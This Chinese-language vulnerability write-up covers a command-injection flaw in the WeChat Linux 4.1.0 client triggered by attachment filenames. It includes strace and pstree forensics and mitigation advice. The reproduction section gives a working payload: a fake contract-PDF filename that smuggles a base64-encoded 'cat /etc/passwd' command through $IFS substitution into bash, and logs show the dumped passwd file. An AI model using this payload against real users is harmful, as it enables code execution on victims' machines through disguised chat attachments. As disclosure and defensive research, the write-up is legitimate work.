- 在野利用:暂未观察到明确的大规模在野利用证据(情报口径:in_the_wild=false),但攻击向量明确、门槛低、可利用性高
2. 背景与影响面
微信 Linux 4.1.0 已在 2025 年 11 月由微信团队发布为正式版,并提供多架构下载渠道。在 Linux 平台,用户常以“办公沟通/开发运维/科研协作”等场景使用该客户端;一旦出现命令执行问题,风险往往会从“单点终端”扩展到:
- 持久化风险(在用户权限范围内落地后门、修改启动项等)
此外,Arch Linux 中文维基也提到腾讯在推进 “WeChat Universal” 等跨平台方案,以期缩小 Windows/Mac/Linux 的功能节奏差异,这意味着 Linux 客户端的使用与分发会进一步扩大。(Arch Linux 中文维基)
3. 漏洞机理概述
该漏洞本质可概括为:数据验证不恰当(Improper Input Validation)导致的命令执行风险。
典型成因
当应用在“打开文件/预览文件/调用外部程序处理文件”时,可能会:
如果文件名包含某些“会被解释器或参数解析器当作语义字符”的内容,而应用未做严格白名单或安全转义,就可能出现:
- 异常执行外部工具(解压、预览、转换、打开方式关联等)
4. 攻击场景与威胁研判
4.1 攻击场景(高可行)
攻击者可将恶意构造文件伪装成常见附件类型(文档/压缩包/图片/日志等),通过聊天投递并诱导受害者点击“打开”。由于该链路依赖用户交互,常见于:
- 供应链投毒(以“工具包/补丁/会议材料”等名义传播)
场景1

场景2

格式不局限于压缩包,比如场景1使用pdf类型和场景2.

4.2 关于“境外 IP 探测”等说法
有情报侧监测提及存在针对 Linux 微信用户端的异常行为探测迹象,但公开侧尚缺少可复核的细节与证据链,需持续观察。
5. 复现与验证方法
5.1 实验环境
微信 Linux 客户端进程与启动参数(含组件进程与 client_version) 如下
取证工具:pstree、strace(可选 auditd 作为企业级审计补强)
5.2 监控与取证
(1)进程级基线(触发前)
用于确认微信进程结构、并作为“触发前基线”
pgrep -a -i wechatpstree -ap 5726 | tee /tmp/wechat_pstree_before.txt
微信为典型多进程结构(wechat → WeChatAppEx 多分支),并伴随 wxocr/wxplayer/wxutility 等组件进程;附件处理路径很可能在 renderer/utility 等子进程中发生。
触发前进程树截图/文本(/tmp/wechat_pstree_before.txt)
(2)系统调用级取证(execve)
为避免仅附加主进程导致遗漏,本次对 所有 WeChat 相关 PID 附加 strace,仅抓 execve():
sudo rm -f /tmp/wechat_execve*sudo bash -c 'pids="$(pgrep -i wechat | tr "\n" " ")";echo "[*] attaching to: $pids";strace -ff -tt -s 200 -e trace=execve $(printf -- "-p %s " $pids) -o /tmp/wechat_execve'
触发完成后抽取关键命令:
grep -R "execve(" /tmp/wechat_execve* | \egrep "(/bin/sh|/usr/bin/bash|/usr/bin/cat|/usr/bin/base64|/usr/bin/xmessage)" \| tee /tmp/wechat_execve_key.txt
关键 execve 日志片段(/tmp/wechat_execve_key.txt
aurorasec@aurorasec-VMware-Virtual-Platform:~$ cat /tmp/wechat_execve_key.txt/tmp/wechat_execve.12581:20:11:36.337228 execve("/bin/sh", ["sh", "-c", "--", "xdg-mime query filetype \"/home/aurorasec/\346\226\207\346\241\243/xwechat_files/wxid_50idzeue0x7l22_d9b6/msg/file/2026-02/\350\242\253\347\214\253\350\200\263\345\260\221\345\271\264\345\274\272\350\241\214\346\213\211\345\216\273\346\211\223\345\267\245\347\232\204\345\260\217\351\225\207\346\227\245\345\270\270\357\274\214\347\273\223\346\236\234\345\217\221\347\216\260\350\200\201\346\235\277\347\253\237\347\204\266\346\230\257\344\274\240\350\257\264\344\270\255\347\232\204\346\232\227\351\273\221"...], 0x63a320478130 /* 51 vars */) = 0/tmp/wechat_execve.12582:20:11:36.364451 execve("/usr/bin/xmessage", ["xmessage", "root:x:0:0:root:/root:/bin/bash", "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin", "bin:x:2:2:bin:/bin:/usr/sbin/nologin", "sys:x:3:3:sys:/dev:/usr/sbin/nologin", "sync:x:4:65534:sync:/bin:/bin/sync", "games:x:5:60:games:/usr/games:/usr/sbin/nologin", "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin", "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin", "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin", "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin", "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin", "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin", "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin", "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin", "list:x:38:38:Mailing", "List", "Manager:/var/list:/usr/sbin/nologin", "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin", "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin", "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin", "systemd-network:x:998:998:systemd", "Network", "Management:/:/usr/sbin/nologin", "systemd-timesync:x:996:996:systemd", "Time", "Synchronization:/:/usr/sbin/nologin", "dhcpcd:x:100:65534:DHCP", "Client", "Daemon,,,:/usr/lib/dhcpcd:/bin/false", "messagebus:x:101:101::/nonexistent:/usr/sbin/nologin", "syslog:x:102:102::/nonexistent:/usr/sbin/nologin", "systemd-resolve:x:991:991:systemd", "Resolver:/:/usr/sbin/nologin", "uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin", "usbmux:x:104:46:usbmux", "daemon,,,:/var/lib/usbmux:/usr/sbin/nologin", "tss:x:105:105:TPM", "software", "stack,,,:/var/lib/tpm:/bin/false", "systemd-oom:x:990:990:systemd", "Userspace", "OOM", "Killer:/:/usr/sbin/nologin", "kernoops:x:106:65534:Kernel", "Oops", "Tracking", "Daemon,,,:/:/usr/sbin/nologin", "whoopsie:x:107:109::/nonexistent:/bin/false", "dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin", "avahi:x:108:111:Avahi", "mDNS", "daemon,,,:/run/avahi-daemon:/usr/sbin/nologin", "tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin", "sssd:x:110:113:SSSD", "system", "user,,,:/var/lib/sss:/usr/sbin/nologin", "speech-dispatcher:x:111:29:Speech", "Dispatcher,,,:/run/speech-dispatcher:/bin/false", "cups-pk-helper:x:112:114:user", "for", "cups-pk-helper", "service,,,:/nonexistent:/usr/sbin/nologin", "fwupd-refresh:x:989:989:Firmware", "update", "daemon:/var/lib/fwupd:/usr/sbin/nologin", "saned:x:113:116::/var/lib/saned:/usr/sbin/nologin", "geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin", "cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin", "hplip:x:116:7:HPLIP", "system", "user,,,:/run/hplip:/bin/false", "gnome-remote-desktop:x:988:988:GNOME", "Remote", "Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin", "polkitd:x:987:987:User", "for", "polkitd:/:/usr/sbin/nologin", "rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin", "colord:x:118:120:colord", "colour", "management", "daemon,,,:/var/lib/colord:/usr/sbin/nologin", "gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false", "gdm:x:120:121:Gnome", "Display", "Manager:/var/lib/gdm3:/bin/false", "nm-openvpn:x:121:122:NetworkManager", "OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin", "aurorasec:x:1000:1000:AuroraSEC:/home/aurorasec:/bin/bash"], 0x578b2fbc3aa8 /* 51 vars */) = 0/tmp/wechat_execve.12585:20:11:36.346621 execve("/usr/bin/base64", ["base64", "-d"], 0x578b2fbc2598 /* 51 vars */) = 0/tmp/wechat_execve.12586:20:11:36.348337 execve("/usr/bin/bash", ["bash"], 0x578b2fbc2598 /* 51 vars */) = 0/tmp/wechat_execve.12587:20:11:36.359839 execve("/usr/bin/cat", ["cat", "/etc/passwd"], 0x5b67a7a613e0 /* 51 vars */) = 0
(3)触发后进程树与差异对比
pstree -ap 5726 | tee /tmp/wechat_pstree_after.txtdiff -u /tmp/wechat_pstree_before.txt /tmp/wechat_pstree_after.txt | tail -n 80
触发后进程树(/tmp/wechat_pstree_after.txt)
差异结论:用户点击“打开附件”后,wechat(<PID>) 下出现新的 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明客户端在该交互点触发了额外组件链路参与附件处理;该时间点与后续 execve() 证据时间窗口相互印证。
5.3 复现步骤
- 确认版本
微信Linux版4.1.0.13
Ubuntu24.04 LTS
安装来源,官网下载
https://linux.weixin.qq.com/
- 启动监控
先执行 pstree -ap 5726 | head -n 60
在“打开文件”前完成两类取证基线:
- 进程树基线:
pstree ... > /tmp/wechat_pstree_before.txt - 系统调用取证:对所有 PID 附加
strace(仅跟踪 execve)
- 投递特制文件
比如我们刚才的案例就是
奇创公司-项目合作框架协议_最终版V7.3_法务已审_财务条款更新_2026-02-10_需12点前反馈_仅供内部评审_请勿外传_含附件清单与签署页`xmessage$IFS$(echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash)`.pdf
文件内容可为普通 PDF/文档,重点在文件名包含异常特征:
- 外观上伪装为业务常见文件名(合同/会议纪要/报表等长文件名)
- 文件名中嵌入会被命令解析器解释的语义字符(例如:命令替换/特殊分隔符/变量展开等同类特征)
- 本文章没有公开恶意代码,执行的命令为无害命令,无远控属性,且针对的是我个人的虚拟机进行测试,未非法对他人主机进行测试,仅用于验证“附件打开 → 异常 execve 链路”这一安全结论
- 触发操作
触发RCE操作
为验证“打开附件”是否引发新的处理链路/子进程分支,本次在触发前后分别导出微信进程树并进行差异对比。对比结果显示:用户点击打开附件后,wechat(<PID>) 下新增 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明该交互点触发了额外组件链路参与附件处理,该现象与后续系统调用证据在时间线上相互印证。
- 记录
为验证“打开附件”是否引发新的处理链路/子进程分支,分别在触发前后导出微信进程树并进行差异对比:
- 触发前导出基线进程树:
/tmp/wechat_pstree_before.txt - 触发后导出进程树:
/tmp/wechat_pstree_after.txt - 对比差异:
diff -u before after
对比结果显示:在用户点击打开附件后,wechat(<PID>) 下出现新的 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明客户端在该交互点触发了额外组件链路参与附件处理,与后续系统调用证据在时间线上相互印证。
- Figure X:diff 差异对比(出现新增
WeChatAppEx,12340 … 分支等)
5.3.3 系统调用证据(execve:异常子进程/异常调用链)
为捕获“打开附件”是否导致外部程序被执行,本次对 WeChat 相关进程进行 strace 取证,仅跟踪 execve() 系统调用,形成可审计证据链。在触发窗口(2026-02-10 20:11:36)内捕获到关键行为:
- 出现
/bin/sh -c ... 执行链路(用于文件类型探测/处理); - 同一时间窗口内出现解释器/工具链执行(
/usr/bin/bash、/usr/bin/base64 -d); - 出现对系统敏感文件的读取行为(
/usr/bin/cat /etc/passwd); - 出现回显/弹窗程序执行(
/usr/bin/xmessage),表明执行结果被消费/展示。以上行为显著偏离正常“附件预览/打开”预期,符合“命令执行风险触发”的验证口径。
结论:在“仅打开附件”的用户交互场景下,出现 shell/解释器拉起、敏感文件读取以及回显程序执行等行为,显著偏离正常附件预览预期,符合“命令执行风险触发”的验证口径。
5.4 结果呈现模板
验证项 | 结果 |
是否可触发 | 是 |
是否需要用户交互 | 是(打开文件触发) |
是否出现异常子进程(shell/解释器) | 是 |
是否捕获异常 execve 调用 | 是 |
影响评估 | 在当前用户权限范围内可能命令执行(高危) |
6. 临时缓解与防护建议
6.1 立即措施
- 停止使用微信 Linux ≤ 4.1.0(如情报所述影响版本成立),优先升级到官方后续修复版本(关注微信 Linux 官方下载/更新渠道)。补充:4.1.0 为已发布版本可参考公开报道。(IT之家)
6.2 使用侧防护(个人/企业都适用)
- 外部文件“先落盘—重命名—再打开”:避免直接在客户端内打开陌生附件
- 账号最小权限:避免以高权限用户运行客户端,减少命令执行后的破坏半径
6.3 系统层加固(企业建议)
- 白名单/执行权限控制
- EDR/XDR 规则:监控
wechat 进程异常拉起 /bin/sh、bash、解释器或异常工具链(这是该类漏洞最常见的“行为侧信号”) - 应用隔离/沙箱:对微信进程进行隔离(限制可写目录、限制拉起外部程序等)
7. 结论
综合情报描述与本次复现实验取证证据链,在“仅打开附件”的用户交互场景下,捕获到 shell/解释器拉起、工具链执行、敏感文件读取以及回显程序执行 等异常行为,且与触发前后进程树差异在时间线上相互印证,符合命令执行风险触发的验证口径。虽然暂未看到明确的大规模在野利用确证,但该问题攻击向量明确、可利用性高,建议尽快采取临时缓解措施、强化终端监控与用户安全提醒,并持续关注官方修复与版本更新。